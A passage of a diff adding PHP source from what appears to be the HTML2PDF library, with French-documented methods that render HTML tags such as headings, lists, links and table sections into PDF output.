+					$tmp = array(); $tmp[]=$pt[0]; $tmp[]=$pt[1]; $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[6]; $tmp[]=$pt[7]; $tmp[]=$pt[8]; $tmp[]=$pt[9];
+					$pt = $tmp;					
+				}
+				else if ($bord==3)
+				{
+					$tmp = array(); $tmp[]=$pt[0]; $tmp[]=$pt[1]; $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[10]; $tmp[]=$pt[11];
+					$this->pdf->Polygon($tmp, 'F');
+	
+					$tmp = array(); $tmp[]=$pt[4]; $tmp[]=$pt[5]; $tmp[]=$pt[6]; $tmp[]=$pt[7]; $tmp[]=$pt[8]; $tmp[]=$pt[9];
+					$this->pdf->Polygon($tmp, 'F');
+					
+					$tmp = array(); $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[4]; $tmp[]=$pt[5]; $tmp[]=$pt[8]; $tmp[]=$pt[9]; $tmp[]=$pt[10]; $tmp[]=$pt[11];
+					$pt = $tmp;
+				}
+				
+				if ($pt[2]==$pt[0])
+				{
+					$l = abs(($pt[3]-$pt[1])*0.5);
+					$px = 0;
+					$py = $width;
+					$x1 = $pt[0]; $y1 = ($pt[3]+$pt[1])*0.5;
+					$x2 = $pt[6]; $y2 = ($pt[7]+$pt[5])*0.5;
+				}
+				else
+				{
+					$l = abs(($pt[2]-$pt[0])*0.5);
+					$px = $width;
+					$py = 0;					
+					$x1 = ($pt[2]+$pt[0])*0.5; $y1 = $pt[1];
+					$x2 = ($pt[6]+$pt[4])*0.5; $y2 = $pt[7];
+				}
+				if ($type=='dashed')
+				{
+					$px = $px*3.;
+					$py = $py*3.;
+				}
+				$mode = ($l/($px+$py)<.5);
+				
+				for($i=0; $l-($px+$py)*($i-0.5)>0; $i++)
+				{
+					if (($i%2)==$mode)
+					{
+						$j = $i-0.5;
+						$lx1 = $px*($j);	if ($lx1<-$l)	$lx1 =-$l;
+						$ly1 = $py*($j);	if ($ly1<-$l)	$ly1 =-$l;
+						$lx2 = $px*($j+1);	if ($lx2>$l)	$lx2 = $l;
+						$ly2 = $py*($j+1);	if ($ly2>$l)	$ly2 = $l;
+						
+						$tmp = array();
+						$tmp[] = $x1+$lx1;	$tmp[] = $y1+$ly1;	
+						$tmp[] = $x1+$lx2; 	$tmp[] = $y1+$ly2;	
+						$tmp[] = $x2+$lx2; 	$tmp[] = $y2+$ly2;	
+						$tmp[] = $x2+$lx1;	$tmp[] = $y2+$ly1;
+						$this->pdf->Polygon($tmp, 'F');	
+
+						if ($j>0)
+						{
+							$tmp = array();
+							$tmp[] = $x1-$lx1;	$tmp[] = $y1-$ly1;	
+							$tmp[] = $x1-$lx2; 	$tmp[] = $y1-$ly2;	
+							$tmp[] = $x2-$lx2; 	$tmp[] = $y2-$ly2;	
+							$tmp[] = $x2-$lx1;	$tmp[] = $y2-$ly1;
+							$this->pdf->Polygon($tmp, 'F');	
+						}
+					}
+				}		
+			}
+			else if ($type=='solid')
+			{
+				$this->pdf->Polygon($pt, 'F');
+			}
+		}
+	
+		/**
+		* balise : BR
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_BR($param)
+		{
+			$h = $this->style->getLineHeight();
+			$h = max($this->maxH, $h);
+			$y = $this->pdf->getY();
+
+			// si la ligne est vide, la position maximale n'a pas été mise à jour => on la met à jour
+			if ($this->maxH==0) $this->maxY = max($this->maxY, $y+$h);
+			
+			// si le saut de ligne rentre => on le prend en compte, sinon nouvelle page
+			if ($y+$h<$this->pdf->h - $this->pdf->bMargin) $this->setNewLine($h);
+			else $this->setNewPage();
+			
+			$this->maxH = 0;
+		}
+		
+		/**
+		* balise : HR
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_HR($param)
+		{
+			if ($this->maxH) $this->o_BR($param);
+
+			$f_size = $this->style->value['font-size'];
+			$this->style->value['font-size']=$f_size*0.5; $this->o_BR($param);
+			$this->style->value['font-size']=0;
+			
+			$param['style']['width'] = '100%';
+			
+			$this->style->save();
+			$this->style->value['height']=$this->style->ConvertToMM('1mm');
+
+			$this->style->analyse('hr', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			$h = $this->style->value['height'];
+			if ($h)		$h-= $this->style->value['border']['t']['width']+$this->style->value['border']['b']['width'];
+			if ($h<=0)	$h = $this->style->value['border']['t']['width']+$this->style->value['border']['b']['width'];
+
+			$this->Rectangle($this->pdf->x, $this->pdf->y, $this->style->value['width'], $h, $this->style->value['border'], 0, 0, $this->style->value['background']);
+			$this->maxH = $h;
+
+			$this->style->load();
+			$this->style->FontSet();
+			
+			$this->o_BR($param);
+
+			$this->style->value['font-size']=$f_size*0.5; $this->o_BR($param);
+			$this->style->value['font-size']=$f_size;
+		}
+
+		/**
+		* balise : B
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_B($param, $other = 'b')
+		{
+			$this->style->save();
+			$this->style->value['font-bold'] = true;
+			$this->style->analyse($other, $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		function o_STRONG($param) { $this->o_B($param, 'strong'); }
+				
+		/**
+		* balise : B
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_B($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		function c_STRONG($param) { $this->c_B($param); }
+		
+		/**
+		* balise : I
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_I($param, $other = 'i')
+		{
+			$this->style->save();
+			$this->style->value['font-italic'] = true;
+			$this->style->analyse($other, $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}	
+		function o_ADDRESS($param)	{ $this->o_I($param, 'address');	}
+		function o_CITE($param)		{ $this->o_I($param, 'cite');		}
+		function o_EM($param)		{ $this->o_I($param, 'em');			}
+		function o_SAMP($param)		{ $this->o_I($param, 'samp');		}
+
+		/**
+		* balise : I
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_I($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}	
+		function c_ADDRESS($param)	{ $this->c_I($param); }
+		function c_CITE($param)		{ $this->c_I($param); }
+		function c_EM($param) 		{ $this->c_I($param); }
+		function c_SAMP($param)		{ $this->c_I($param); }
+
+		/**
+		* balise : S
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_S($param)
+		{
+			$this->style->save();
+			$this->style->value['font-linethrough'] = true;
+			$this->style->analyse('s', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}	
+
+		/**
+		* balise : S
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_S($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : U
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_U($param)
+		{
+			$this->style->save();
+			$this->style->value['font-underline'] = true;
+			$this->style->analyse('u', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}	
+
+		/**
+		* balise : U
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_U($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : A
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_A($param)
+		{
+			$this->inLink = str_replace('&amp;', '&', isset($param['href']) ? $param['href'] : '');
+			
+			if (isset($param['name']))
+			{
+				$nom = 	$param['name'];
+				if (!isset($this->lstAncre[$nom])) $this->lstAncre[$nom] = array($this->pdf->AddLink(), false);
+				
+				if (!$this->lstAncre[$nom][1])
+				{
+					$this->lstAncre[$nom][1] = true;
+					$this->pdf->SetLink($this->lstAncre[$nom][0], -1, -1);
+				}
+			}
+			
+			if (preg_match('/^#([^#]+)$/isU', $this->inLink, $match))
+			{
+				$nom = $match[1];
+				if (!isset($this->lstAncre[$nom])) $this->lstAncre[$nom] = array($this->pdf->AddLink(), false);
+				
+				$this->inLink = $this->lstAncre[$nom][0];
+			}
+			
+			$this->style->save();
+			$this->style->value['font-underline'] = true;
+			$this->style->value['color'] = array(20, 20, 250);
+			$this->style->analyse('a', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();			
+		}
+
+		/**
+		* balise : A
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_A($param)
+		{
+			$this->inLink	= '';
+			$this->style->load();
+			$this->style->FontSet();			
+		}
+
+		/**
+		* balise : H1
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H1($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;
+			$this->style->value['font-size'] = $this->style->ConvertToMM('28px');
+			$this->style->analyse('h1', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H1
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H1($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}
+
+		/**
+		* balise : H2
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H2($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;
+			$this->style->value['font-size'] = $this->style->ConvertToMM('24px');
+			$this->style->analyse('h2', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H2
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H2($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}		
+
+		/**
+		* balise : H3
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H3($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;
+			$this->style->value['font-size'] = $this->style->ConvertToMM('20px');
+			$this->style->analyse('h3', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H3
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H3($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}
+
+		/**
+		* balise : H4
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H4($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;			
+			$this->style->value['font-size'] = $this->style->ConvertToMM('16px');
+			$this->style->analyse('h4', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H4
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H4($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}
+
+		/**
+		* balise : H5
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H5($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;
+			$this->style->value['font-size'] = $this->style->ConvertToMM('12px');
+			$this->style->analyse('h5', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H5
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H5($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}
+
+		/**
+		* balise : H6
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_H6($param)
+		{
+			$this->o_BR(array());
+			$this->style->save();
+			$this->style->value['font-bold'] = true;			
+			$this->style->value['font-size'] = $this->style->ConvertToMM('9px');
+			$this->style->analyse('h6', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : H6
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_H6($param)
+		{
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+			$this->o_BR(array());
+		}
+
+		/**
+		* balise : SPAN
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_SPAN($param, $other = 'span')
+		{
+			$this->style->save();
+			$this->style->analyse($other, $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();		
+		}	
+		function o_FONT($param)		{ $this->o_SPAN($param, 'font');	}
+
+		/**
+		* balise : SPAN
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_SPAN($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();		
+		}
+		function c_FONT($param)		{ $this->c_SPAN($param); }
+
+
+		/**
+		* balise : P
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_P($param)
+		{
+			if (!in_array($this->previousCall, array('c_P', 'c_UL')))
+			{
+				if ($this->maxH) $this->o_BR(array());
+				$this->o_BR(array());
+			}
+			
+			$this->style->save();
+			$this->style->analyse('p', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			if ($this->style->value['text-indent']>0) $this->pdf->x+= $this->style->value['text-indent'];
+		}
+		
+		/**
+		* balise : P
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_P($param)
+		{
+			if ($this->maxH) $this->o_BR(array());
+			$this->o_BR(array());
+			$this->style->load();
+			$this->style->FontSet();
+					
+		}
+		
+		/**
+		* balise : PRE
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_PRE($param, $other = 'pre')
+		{
+			if ($other=='pre' && $this->maxH) $this->o_BR(array());
+			
+			$this->style->save();
+			$this->style->value['font-family']	= 'courier';
+			$this->style->analyse($other, $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+
+			if ($other=='pre') $this->o_DIV($param, $other);
+		}
+		function o_CODE($param) { $this->o_PRE($param, 'code'); }
+		
+		/**
+		* balise : PRE
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_PRE($param, $other = 'pre')
+		{
+			if ($other=='pre')
+			{
+				$this->c_DIV($param);
+				$this->o_BR(array());
+			}
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		function c_CODE($param) { $this->c_PRE($param, 'code'); }
+				
+		/**
+		* balise : BIG
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_BIG($param)
+		{
+			$this->style->save();
+			$this->style->value['mini-decal']-= $this->style->value['mini-size']*0.2;
+			$this->style->value['mini-size'] *= 1.2;
+			$this->style->analyse('big', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : BIG
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_BIG($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : SMALL
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_SMALL($param)
+		{
+			$this->style->save();
+			$this->style->value['mini-decal']+= $this->style->value['mini-size']*0.18;
+			$this->style->value['mini-size'] *= 0.82;
+			$this->style->analyse('small', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		 
+		/**
+		* balise : SMALL
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_SMALL($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+
+		/**
+		* balise : SUP
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_SUP($param)
+		{
+			$this->style->save();
+			$this->style->value['mini-decal']-= $this->style->value['mini-size']*0.25;
+			$this->style->value['mini-size'] *= 0.75;
+			$this->style->analyse('sup', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		 
+		/**
+		* balise : SUP
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_SUP($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : SUB
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_SUB($param)
+		{
+			$this->style->save();
+			$this->style->value['mini-decal']+= $this->style->value['mini-size']*0.25;
+			$this->style->value['mini-size'] *= 0.75;
+			$this->style->analyse('sub', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			$this->inSub = 1;
+		}
+		 
+		/**
+		* balise : SUB
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_SUB($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : UL
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_UL($param, $other = 'ul')
+		{
+			if (!in_array($this->previousCall, array('c_P', 'c_UL')))
+			{
+				if ($this->maxH) $this->o_BR(array());
+				if (!count($this->defLIST)) $this->o_BR(array());
+			}
+			
+			if (!isset($param['style']['width'])) $param['allwidth'] = true;
+			$param['cellspacing'] = 0;
+
+			// une liste est traitée comme un tableau
+			$this->o_TABLE($param, $other);
+
+			// ajouter un niveau de liste
+			$this->listeAddLevel($other, $this->style->value['list-style-type'], $this->style->value['list-style-image']);
+		}
+		function o_OL($param) { $this->o_UL($param, 'ol'); }	
+		
+		/**
+		* balise : UL
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/
+		function c_UL($param)
+		{
+			// fin du tableau
+			$this->c_TABLE($param);
+			
+			// enlever un niveau de liste
+			$this->listeDelLevel();
+
+			if (!$this->sub_part)
+			{
+				if (!count($this->defLIST)) $this->o_BR(array());
+			}
+		}
+		function c_OL($param) { $this->c_UL($param); }
+
+		/**
+		* balise : LI
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/
+		function o_LI($param)
+		{
+			// ajouter une puce au niveau actuel
+			$this->listeAddLi();
+
+			if (!isset($param['style']['width'])) $param['style']['width'] = '100%';
+
+			// preparation du style de la puce
+			$paramPUCE = $param;
+			
+			$inf = $this->listeGetLi();
+			if ($inf[0])
+			{
+				$paramPUCE['style']['font-family']		= $inf[0];
+				$paramPUCE['style']['text-align']		= 'right';
+				$paramPUCE['style']['vertical-align']	= 'top';
+				$paramPUCE['style']['width']			= $this->listeGetWidth();
+				$paramPUCE['style']['padding-right']	= $this->listeGetPadding();
+				$paramPUCE['txt'] = $inf[2];
+			}
+			else
+			{
+				$paramPUCE['style']['text-align']		= 'right';
+				$paramPUCE['style']['vertical-align']	= 'top';
+				$paramPUCE['style']['width']			= $this->listeGetWidth();
+				$paramPUCE['style']['padding-right']	= $this->listeGetPadding();
+				$paramPUCE['src'] = $inf[2];
+				$paramPUCE['sub_li'] = true;
+			}
+			
+			// nouvelle ligne
+			$this->o_TR($param, 'li');
+
+			$this->style->save();
+			
+			if ($inf[1])
+			{
+				$this->style->value['mini-decal']+= $this->style->value['mini-size']*0.25;
+				$this->style->value['mini-size'] *= 0.75;
+			}
+			
+			// si on est dans un sub_html => preparation, sinon affichage classique
+			if ($this->sub_part)
+			{
+				// TD pour la puce
+				$tmp_pos = $this->temp_pos;
+				$tmp_lst1 = $this->parsing->code[$tmp_pos+1];
+				$tmp_lst2 = $this->parsing->code[$tmp_pos+2];
+				$this->parsing->code[$tmp_pos+1] = array();
+				$this->parsing->code[$tmp_pos+1]['name']	= (isset($paramPUCE['src'])) ? 'img' : 'write';
+				$this->parsing->code[$tmp_pos+1]['param']	= $paramPUCE; unset($this->parsing->code[$tmp_pos+1]['param']['style']['width']);
+				$this->parsing->code[$tmp_pos+1]['close']	= 0;
+				$this->parsing->code[$tmp_pos+2] = array();
+				$this->parsing->code[$tmp_pos+2]['name']	= 'li';
+				$this->parsing->code[$tmp_pos+2]['param']	= $paramPUCE;
+				$this->parsing->code[$tmp_pos+2]['close']	= 1;
+				$this->o_TD($paramPUCE, 'li_sub');
+				$this->c_TD($param);
+				$this->temp_pos = $tmp_pos;
+				$this->parsing->code[$tmp_pos+1] = $tmp_lst1;
+				$this->parsing->code[$tmp_pos+2] = $tmp_lst2;
+			}
+			else
+			{
+				// TD pour la puce
+				$this->o_TD($paramPUCE, 'li_sub');
+				unset($paramPUCE['style']['width']);
+				if (isset($paramPUCE['src']))	$this->o_IMG($paramPUCE);
+				else							$this->o_WRITE($paramPUCE);
+				$this->c_TD($paramPUCE);
+			}
+			$this->style->load();
+
+				
+			// td pour le contenu
+			$this->o_TD($param, 'li');
+		}
+
+		/**
+		* balise : LI
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/
+		function c_LI($param)
+		{
+			// fin du contenu
+			$this->c_TD($param, 'li');
+			
+			// fin de la ligne
+			$this->c_TR($param, 'li');
+		}
+		
+		/**
+		* balise : TBODY
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TBODY($param)
+		{
+			$this->style->save();
+			$this->style->analyse('tbody', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}	
+
+		/**
+		* balise : TBODY
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TBODY($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : THEAD
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_THEAD($param)
+		{
+			global $HTML2PDF_TABLEAU;
+			
+			$this->style->save();
+			$this->style->analyse('thead', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			// si on est en mode sub_html : sauvegarde du numéro du TR 
+			if ($this->sub_part)
+			{
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['tr'][0] = $HTML2PDF_TABLEAU[$param['num']]['tr_curr'];
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['code'] = array(); 
+				for($pos=$this->temp_pos; $pos<count($this->parsing->code); $pos++)
+				{
+					$todo = $this->parsing->code[$pos];
+					if (strtolower($todo['name'])=='thead') $todo['name'] = 'thead_sub';
+					$HTML2PDF_TABLEAU[$param['num']]['thead']['code'][] = $todo;
+					if (strtolower($todo['name'])=='thead_sub' && $todo['close']) break;
+				}
+			}
+			else
+			{
+				$res = $this->parsing->getLevel($this->parse_pos);
+				$this->parse_pos = $res[0]-1;
+				$HTML2PDF_TABLEAU[$param['num']]['tr_curr']+= count($HTML2PDF_TABLEAU[$param['num']]['thead']['tr']);
+			}
+		}	
+
+		/**
+		* balise : THEAD
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_THEAD($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+
+			// si on est en mode sub_html : sauvegarde du numéro du TR 
+			if ($this->sub_part)
+			{
+				global $HTML2PDF_TABLEAU;				
+				$min = $HTML2PDF_TABLEAU[$param['num']]['thead']['tr'][0];
+				$max = $HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1;				
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['tr'] = range($min, $max);
+			}
+		}
+
+		/**
+		* balise : TFOOT
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TFOOT($param)
+		{
+			global $HTML2PDF_TABLEAU; 		
+
+			$this->style->save();
+			$this->style->analyse('tfoot', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			// si on est en mode sub_html : sauvegarde du numéro du TR 
+			if ($this->sub_part)
+			{
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'][0] = $HTML2PDF_TABLEAU[$param['num']]['tr_curr'];
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['code'] = array(); 
+				for($pos=$this->temp_pos; $pos<count($this->parsing->code); $pos++)
+				{
+					$todo = $this->parsing->code[$pos];
+					if (strtolower($todo['name'])=='tfoot') $todo['name'] = 'tfoot_sub';
+					$HTML2PDF_TABLEAU[$param['num']]['tfoot']['code'][] = $todo;
+					if (strtolower($todo['name'])=='tfoot_sub' && $todo['close']) break;
+				}
+			}
+			else
+			{
+				$res = $this->parsing->getLevel($this->parse_pos+1);
+				$this->parse_pos = $res[0];
+				$HTML2PDF_TABLEAU[$param['num']]['tr_curr']+= count($HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr']);
+			}
+		}	
+
+		/**
+		* balise : TFOOT
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TFOOT($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+			
+			// si on est en mode sub_html : sauvegarde du numéro du TR 
+			if ($this->sub_part)
+			{
+				global $HTML2PDF_TABLEAU;
+				
+				$min = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'][0];
+				$max = $HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1;				
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'] = range($min, $max);
+			}
+		}
+
+		/**
+		* balise : THEAD_SUB
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_THEAD_SUB($param)
+		{
+			$this->style->save();
+			$this->style->analyse('thead', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : THEAD_SUB
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_THEAD_SUB($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+
+		/**
+		* balise : TFOOT_SUB
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TFOOT_SUB($param)
+		{
+			$this->style->save();
+			$this->style->analyse('tfoot', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : TFOOT_SUB
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TFOOT_SUB($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+				
+		/**
+		* balise : FORM
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_FORM($param)
+		{
+			$this->style->save();
+			$this->style->analyse('form', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}	
+
+		/**
+		* balise : FORM
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_FORM($param)
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : TABLE
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TABLE($param, $other = 'table')
+		{
+			$this->maxH = 0;
+			// utilisation du tableau des paramétres des tables
+			global $HTML2PDF_TABLEAU; 
+
+			$align_object = isset($param['align']) ? strtolower($param['align']) : 'left';
+			if (isset($param['align'])) unset($param['align']);
+			if (!in_array($align_object, array('left', 'center', 'right'))) $align_object = 'left';
+			
+			// lecture et initialisation du style
+			$this->style->save();
+			$this->style->analyse($other, $param);
